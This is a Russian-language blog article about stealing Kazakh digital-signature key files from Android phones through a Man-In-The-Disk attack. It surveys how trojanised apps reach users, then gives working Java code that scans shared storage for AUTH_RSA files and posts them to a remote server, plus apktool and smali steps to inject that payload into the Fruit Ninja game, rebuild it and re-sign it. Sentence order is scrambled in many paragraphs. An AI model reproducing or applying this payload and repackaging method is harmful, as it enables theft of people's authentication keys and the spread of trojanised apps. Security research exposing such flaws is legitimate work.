Хабрахабр

[Из песочницы] Воруем ЭЦП, используя Man-In-The-Disk

Чтобы авторизоваться этим способом, вам необходимо перенести файл с ЭЦП на телефон. Казахстанские мобильные приложения mEGOV и ЕНПФ используют ЭЦП, как один из способов авторизации. Чтобы стать жертвой атаки, вам достаточно установить любое ваше любимое приложение, которые было скрытно модифицировано злоумышленником. Такой метод авторизации уязвим перед атакой Man-In-The-Disk (о ней в подробностях ниже). Для начала выясним, как такие приложения могут попасть к пользователю. Я наглядно покажу, как это может быть сделано.

Как вредоносные приложения попадают на телефон

Локальные маркеты приложений Китая, Ирана и т.д

Примеры: cafebazaar.ir, android.myapp.com, apkplz.net

Обычно они содержат местные аналоги популярных приложений и их модификации. Данные площадки появились вследствии цензуры и блокировки Google сервисов и/или серверов официальных приложений. В чем опасность таких приложений? Такие модификации (как этот иранский телеграм) содержат якобы новые, крутые фичи. К тому же, правительства некоторых стран не упускают возможность и публикуют свои модификации, с инструментами для слежения за пользователем. Вы никогда не знаете, что они на самом деле делают. Однажды, я изучал вредоносное приложение (результат Virustotal, образец тут, пароль:infected), которое сканировало телефон на наличие телеграм-клонов: Приложения с правительственной слежкой являются вредоносными по определению.

"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"

Исследованние данного вредоноса, привело меня к статье, в которой рассказывается о клоне телеграма, которое распостранялось через маркет Cafebazaar, Иранским правительством. Данный список говорит о реальной актуальности и популярности таких приложений. Цитата оттуда:

This looks to be developed to the specifications of the Iranian government enabling them to track every bit and byte put forward by users of the app.

Сколько клонов телеграма вы видите?: (Источник)

image

Исследователи и антивирусные компании со всего мира, после выявления зараженных приложений, оперативно сообщают об этом в Google и они удаляются из Play Market, что очевидно, не распостраняется на стороннии маркеты приложений. Обычным пользователям защититься от этого практически невозможно, так как другого выбора нет — официальные источники усиленно блокируются, а свои продвигаются. Так же на них не распостраняется политика Google, относительно допуска размещаемых приложений.

пользователей в месяц (Источник) Некоторые из маркетов очень популярны, как например Tencent My App, с 260 млн.

image

сетей и т.д… Если одна и та же библиотека используется в нескольких приложениях, то с большой вероятностью, некоторые из этих приложений, могут быть установлены у одного пользователя. Локальные приложения, используемые в рамках одного региона/страны, часто используют одни и те же SDK (набор библиотек) для рекламного трекинга, интеграции соц. Например, одно приложение имеет доступ к получению IMEI, но не имеет доступа к интернету. Такие библиотеки могут использовать возможности разных приложений, в которые они встроены, для кражи данных пользователя, в обход выданных разрешений. Та же библиотека встроенная в другое приложение, у которого есть доступ в интернет, но нету доступа к IMEI, считывает его со скрытой папки и отправляет на свой сервер. Встроенная библиотека знает об этом и поэтому считывает IMEI и сохраняет его на SD карте в скрытой папке. Подробнее об этом можете прочитать тут. Данный способ использовался двумя китайскими компаниями Baidu и Salmonads.

Фишинг

Как это часто бывает, берется обычное приложение мессенджер, в него добавляется функционал для слежения, а потом оно массово рассылается, с пометкой "Посмотри, какое крутое приложение для общения". Классический фишинг, является основным инструментом международных группировок и спецслужб разных стран. сети, спам Whatsapp/Telegram, встроенная реклама на сайтах и т.д.. Доставка пользователям может осуществляется через соц.

image

Источник, стр 19.

Фишинговые ссылки, в виде постов в фейсбуке:

image

22 Источник, стр.

Всплывающее окно на одном известном сайте

image

Источник

Телеграм боты/группы

Пример: @apkdl_bot, t.me/fun_android

Вместо легитимного приложения, вам могут подсунуть вредоносное. Существуют телеграм боты, для скачивания apk файлов. Работает это так — вы вводите команду боту/в группу, что хотите скачать "Instagram", скрипт на другой стороне скачивает его с Google Play, распаковывает, добавляет вредоносный код, запаковывает обратно и возвращает вам. Либо заразить запрашиваемое вами приложение "на лету". Как это делается автоматически, я попытаюсь показать на примере в ближайшем будущем.

Сторонние сайты-посредники

Пример: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/

Некоторые из них предоставляют возможность загрузить свое приложение, которое может быть вредоносным. Существует огромное количество неофициальных сайтов, для скачивания андроид приложений. Пример загрузки на этом сайте:

image

Один из примеров малвари, которая распостранялась таким образом (Источник):

image

6 миллиардов заблокированных Google Play Protect установок не из Google Play. Примерную статистику, для неофициальных источников, можно найти в Android Security Report 2018 — 1. Всего установок было гораздо больше.
Некоторые даже пишут статьи, как это хорошо, пользоваться сторонними маркетами.
Отдельный целый мир составляют сайты, которые распостраняют приложения без рекламы, взломанные платные приложения бесплатно, приложения с дополнительным функционалом:

image

image

Google play

Но такая защита не в состоянии точно понять, какое приложение вредоносное, а какое нет, так как для этого требуется полная ручная проверка. Официальный источник имеет защиту от подозрительных приложений, под названием Google Play Protect, которая использует машинное обучение для определения степени вредоносности. Исследователи постоянно находят сотнями зараженные приложения, опубликованные в Google Play. Чем отличается шпионское приложение, которое мониторит все ваши передвижения, от приложения для бега?

Это вводит в заблуждение пользователей. Обычно вредоносное приложение называет себя google play services или схожим образом, и ставит похожую иконку. Однажды в телеграме, я поставил аватарку с бумажным самолетиком и меня заблокировали. Почему гугл плей не проверяет иконку на схожесть со своими официальными приложениями — непонятно. Еще один способ, используемый вредоносными приложениями, это замена букв ("L" на "I", "g" на "q"), для создания, похожего на официальное приложение, имени:

image

Источник.

Другие способы

  1. В сервисах ремонта телефонов

  2. При пересечении границы

  3. Подключение к незнакомому компьютеру по USB, с включенным режимом отладки.

  4. Получение злоумышленником доступа к вашему гугл аккаунту, и установки приложения на телефон через Google Play.

  5. Предустановленные приложения

  6. Полицией или спецслужбами По решению суда и без.

  7. Watering hole attack

  8. Вы пришли в гости к другу, а его телевизор заразил ваш телефон

Once it infects an Android device, it begins to use the device’s resources to mine cryptocurrencies and attempts to spread itself to other Android devices on the same network. The particular version appearing on Fire TV devices installs itself as an app called “Test” with the package name “com.google.time.timer”.

Как злоумышленники заражают андроид приложения

Далее будет продемонстировано, как злоумышленник может модифицировать любое андроид приложение. Теперь мы поняли, как вредоносное приложение может попасть к вам на телефон. Код сканирует память телефона, ищет файл с ЭЦП и отсылает на сервер (root естественно не требуется). Будет использован пример с внедрением кода в популярную игру Fruit Ninja.

Что такое Man-In-The-Disk?

Советую, для начала, ее прочитать. Общественность обратила внимание на данный вектор атаки, после этой статьи.

Для тех кто прочитал, добавлю от себя — модификация общих файлов других приложений, так же может привести к эксплуатации уязвимостей в библиотеках, которые используют эти файлы

Для начала, определимся с понятиями. Кто не прочитал, расскажу в кратце. Internal storage — это внутренняя память приложения, доступная только ему и никому больше. В андроиде, память для приложений, разделяется на Internal Storage и External Storage. Это отличный защитный механизм. Абсолютно каждому приложению на телефоне соответствует отдельный пользователь и отдельная папка с правами только для этого пользователя. Зачем она нужна? External storage — основная память телефона, доступная всем приложениям (сюда же относится SD карта). После редактирования, вы должны сохранить фото, чтобы оно было доступно из галереи. Возьмем приложение фоторедактор. Или бразуер, который скачивает все файлы в общую папку Downloads. Естественно, что если вы положите его в internal storage, то никому, кроме вашего приложения оно доступно не будет.

Но с ними все не так хорошо. У каждого андроид приложения есть свой набор разрешений, которые оно запрашивает. Среди них — READ_EXTERNAL_STORAGE. Среди них есть такие, на которые люди охотно закрывают глаза и не относятся серъезно. Никто ведь не удивиться, если приложение "блокнот" запросит данное разрешение. Оно позволяет приложению получать доступ к основной памяти телефона, а значит и ко всем данным других приложений. Манипуляция данными других приложений в external storage и есть атака Man-In-The-Disk. Ему может быть необходимо хранить там настройки и кэш. Как видно из названия, оно позволяет приложению иметь доступ в сеть. Другое, почти дефолтное, разрешение — INTERNET. Вы просто прописываете его в своем приложении и вам его дают. Самое печальное, что пользователю не показывается специальное окно с просьбой дать это разрешение.

Как видите, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE и INTERNET очень популярны. Я скачал топ-15 казахстанских приложений и написал скрипт, который выводит статистику запрашиваемых разрешений. Значит злоумышленники могут менее болезнено встраивать код, которые ворует ЭЦП, в большинство приложений.

Список протестированных приложений
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Yandex Music, Yandex Taxi
,Zakon KZ

image

Если вы пользуетесь Whatsapp, то все ваши сообщения хранятся в папке, доступной всем приложениям.

image

А далее расшифровать с помощью любого доступного скрипта в сети. Грубо говоря, любое приложение на вашем телефоне может их скачать и отправить себе на сервер. Видимо whatsapp не считает нужным даже использовать шифрование, на таком "порченом" телефоне. А если поставить whatsapp на рутованый телефон, то все ваши переписки хранятся в открытом виде. В будущем, попытаюсь исследовать, как можно использовать эти файлы, полученные с чужого телефона. Так же, в external storage, whatsapp хранит SSLSessionCache (File-based cache of established SSL sessions).

image

Практически все просматриваемые вами фото, и те которые вы пересылаете друг другу, доступны любому приложению у вас на телефоне. Телеграм и Инстаграм хранят в общей памяти закешированные изображения.

image

Приложения mEGOV и ENPF, требуют, чтобы ЭЦП находилась в External Storage:

image

image

Цитата: Google в курсе проблемы и собирается изменить READ_EXTERNAL_STORAGE в Android Q.

In order to access any other file that another app has created, including files in a "downloads" directory, your app must use the Storage Access Framework, which allows the user to select a specific file.

Создаем payload

Он будет состоять из трех основных классов: StageAttack, MaliciousService, MaliciousTaskManager. Перейдем к основному функционалу сканера.

image

Мы специально создаем переходный статический метод, для удобства внедрения в готовый класс. StageAttack — состоит из одного статического метода, который начинает нашу атаку.

public class StageAttack
}

MaliciousService — сервис, который рекурсивно осуществляет поиск по всему external storage.

private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null;
}

Интервал можно использовать любой. Если ЭЦП не найдено, мы будем повторять поиск каждые 5 секунд, пока не найдем. Чем выше версия андроида, тем суровее политика в отношении работы фоновых процессов. Взяв слишком маленький интервал, наш сервис рискует быть остановленным системой. Не являясь андроид разработчиком, я потратил кучу времени, чтобы найти способ запланировать задачу, которая будет выполняться точно в срок. Foreground service мы тоже не можем использовать, так как для этого постоянно должно висеть уведомление. В андроиде есть несколько рекомендуемых для этого способов (JobService, WorkManager, setRepeating() AlarmManager'а). Это не так просто, как кажется. Нас это не устраивает, поэтому мы используем класс AlarmManager, метод setExactAndAllowWhileIdle(). В документации неочевидно указано, что интервал задачи должен быть не менее 15 минут и время ее выполнения зависит от желания системы. Это единственный на данный момент способ известный мне, имеющий самую высокую точность. Когда задача выполниться, снова ее планируем, с таким же интервалом.

private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }

Если ЭЦП найдено, то мы отправляем файл на сервер:

private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode);
}

Внедряем payload

Мы не декомпилируем приложение до java кода, так как после модификации, мы не сможем собрать его обратно. Первым делом декомпилируем Fruit Ninja, с помощью apktool. И внедрять наш код мы тоже будем в виде smali кода. Нам необходимо получить именно smali классы.

Что такое smali код?
Андроид приложения компилируются в байткод, который исполняется виртуальной машиной Dalvik. Сам байткод тяжело читаем, поэтому его удобочитаемая для человека форма, называется smali. smali — это аналог языка ассемблера, но для андроида.

Входной точкой любого GUI приложения является класс-потомок Activity, который принимает ACTION_MAIN. Далее, если мы хотим, чтобы наш payload запустился при старте приложения, мы должны модифицировать входную точку. Открываем папку с декомпилированным приложением, и находим его в файле AndroidManifest.xml:

<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter>
</activity>

MortarGameLauncherActivity. Мы нашли нужный нам класс com.halfbrick.mortar. Перед тем, как изучить его, посмотрим на жизненный цикл Activity, это нам пригодится.

image

Источник

Если вы до этого не видели smali код, это не страшно, он достаточно прост для чтения и логически понятен. Открываем Activity, у меня он лежит по пути base\smali_classes2\com\halfbrick\mortar\MortarGameLauncherActivity.smali.

.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
// Имя класса и его package .super Landroid/app/Activity;
//.super указывает от какого класса наследуемся. //Все Activity должны наследоваться от android.app.Activity. .source "MortarGameLauncherActivity.java"
// Исходный Java файл. .method public constructor <init>()V
/* Ключевые слова говорят сами за себя - это конструктор класса. Самая последняя буква, это тип возвращаемого значения.
В данном случае, V - void */ .locals 0
/* Виртуальная машина Dalvik не использует стек, вместо этого используются регистры. Регистры это просто ячейки, которые
могут хранить любые типы данных. Каждая функция имеет свой личный набор регистров. В зависимости от инструкции, доступных регистров может быть 16, 256 или 64К. Регистры делятся на локальные регистры и регистры, для аргументов.
В локальные регистры можно класть локальные переменные. В регистры для аргументов, кладут входные параметры функций.
.locals 0 - означает, что в методе 0 локальных регистров. К локальным регистрам обращаются, как v0, v1, v2, v3, ... К аргументным регистрам - p0, p1, p2, p3. */ .line 28 invoke-direct {p0}, Landroid/app/Activity;-><init>()V
/* invoke-подобные инструкции используются для вызова функций.
invoke-direct - вызов нестатической функции, которую нельзя переопределить. Функции, которые нельзя переопределить в java
- private и конструкторы. Если функцию можно переопределить, то соответственно будет произведен поиск по таблице, содержащей
переопределенния метода. В скобках указываются входные параметры функции. p0 - по умолчанию означает this в java.
init говорит о том, что здесь вызывается родительский конструктор.
*/ return-void
// ничего не возвращаем
.end method .method protected onStart()V .locals 2 .line 33 invoke-super {p0}, Landroid/app/Activity;->onStart()V
// Вызываем onStart() родительского класса .line 35 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z
/* invoke-virtual - вызов виртуального метода. Виртуальный метод может быть переопределен,
а значит не является static, private, final или конструктором. Класс MortarGameLauncherActivity
не имеет метода isTaskRoot(), а значит он вызывается в родительском классе Activity. Возвращаемый тип Z - boolean */ move-result v0
/* Кладем результат функции isTaskRoot() в регистр v0. isTaskRoot() возвращает true, если данное Activity является первым, которое открывается при
запуске приложения */ if-nez v0, :cond_0
/* Если v0 = true, то переходим по метке cond_0 (аналог goto). Если v0 = false, продолжаем выполнение */ .line 37 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V
// finish() закрывает Activity return-void
// Завершаем выполнение функции .line 41 :cond_0 new-instance v0, Landroid/content/Intent;
// Создаем объект Intent и кладем ссылку на него в регистр v0 const-class v1, Lcom/halfbrick/mortar/MortarGameActivity;
//Кладем ссылку на класс MortarGameActivity в регистр v1. MortarGameActivity это уже другое Activity. invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
// вызываем конструктор класса Intent, с параметрами, которые заполнили выше .line 42 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V
// закрываем наше Activity .line 43 invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V
// Открываем MortarGameActivity return-void
.end method

Открываем MortarGameActivity. Выяснили, что MortarGameLauncherActivity запускает MortarGameActivity и закрывается. Нам интересно то, что происходит в методе Oncreate, так как с него начинается создание активити. Комментировать полностью его не будем. Важно не нарушить порядок line, при вставке. Сразу после него будем вставлять наш код.

.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <--------------------------- //вставлять будем сюда, как строку 472 .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...

Собираем в apk наш сканер и декомпилируем. Теперь нам нужен smali код payload'а. Меняем package name всем классам, с kz.c.signscan на com.halfbrick.mortar. Переносим наши три декомпилированных класса, которые лежат по пути smali\kz\c\signscan, в папку com/halfbrick/mortar.

Было:

.class public Lkz/c/signscan/StageAttack;

Стало:

.class public Lcom/halfbrick/mortar/StageAttack;

В smali классе MainActivity берем строчку вызова payload'а:

invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V

В итоге метод onCreate() выглядит: И вставляем в MortarGameActivity.

...
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...

Класс MaliciousTaskManager в payload это BroadcastReceiver, а MaliciousService это IntentService, поэтому мы должны их прописать в манифесте.

...
<receiver android:name=".MaliciousTaskManager"/>
<service android:name=".MaliciousService"/>
...

В итоге получим apk файл. Запаковываем все обратно командой apktool b myfolder. Для начала сгенерируем ключ, которым будем подписывать: Теперь нам необходимо его подписать, чтобы андроид принял наше приложение.

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Подписываем apk:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Мы всего-лишь пользуемся доступными разрешениями нашего приложения. Virustotal нам ничего не покажет, так как ничего "нелегального" мы не делаем.

image

Видео, с демонстрацией конечной работы:

Телеграм канал

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть